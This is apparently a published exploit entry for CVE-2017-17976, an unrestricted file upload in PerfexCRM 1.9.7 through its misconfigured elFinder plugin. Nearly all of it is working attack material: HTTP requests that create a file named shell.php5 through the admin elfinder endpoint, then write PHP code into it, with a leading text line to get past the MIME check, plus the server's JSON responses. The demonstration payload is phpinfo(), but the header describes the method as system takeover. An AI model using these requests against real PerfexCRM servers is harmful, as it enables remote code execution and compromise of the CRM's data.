# Exploit Title: PerfexCRM 1.9.7 – Unrestricted php5 File upload
# Exploit Author: Ahmad Mahfouz
# Description: PerfexCRM 1.9.7 prone to unrestricted file upload that lead to system take over by misconfigured elfinder plugin
# Contact: http://twitter.com/eln1x
# Date: 12/01/2018
# CVE: CVE-2017-17976
# Version: v1.9.7
# Software Link: https://www.perfexcrm.com/
# bypassing the misconfigured file upload with file .php5
GET admin/utilities/elfinder_init?cmd=mkfile&name=shell.php5&target=[dir]
JSON Response:
{"added":[{"isowner":false,"mime":"text\/plain","read":1,"write":1,"size":"0","hash":"[XXX]","name":"shell.php5","phash":"[XXXX] "}],"changed":[{"isowner":false,"mime":"directory","read":1,"write":1,"size":0,"hash":"[ XXX]","name":"asa","phash":"[ XXX] ","volumeid":"[XXX]"}]}
#bypass the file content restriction by adding TEXT line to represent mime type text
Request
POST /admin/utilities/elfinder_init HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Connection: close
cmd=put&target=[folder]&encoding=UTF-8&content=demo
newline to represent text mime type
<?php
phpinfo();
?>
HTTP/1.1 200 OK
Content-Type: application/json
Connection: close
Content-Length: 167
{"changed":[{"isowner":false,"mime":"text\/plain","read":1,"write":1,"size":"44","hash":"[XXX]","name":"shell.php5","phash":"[XXX]]"}]}
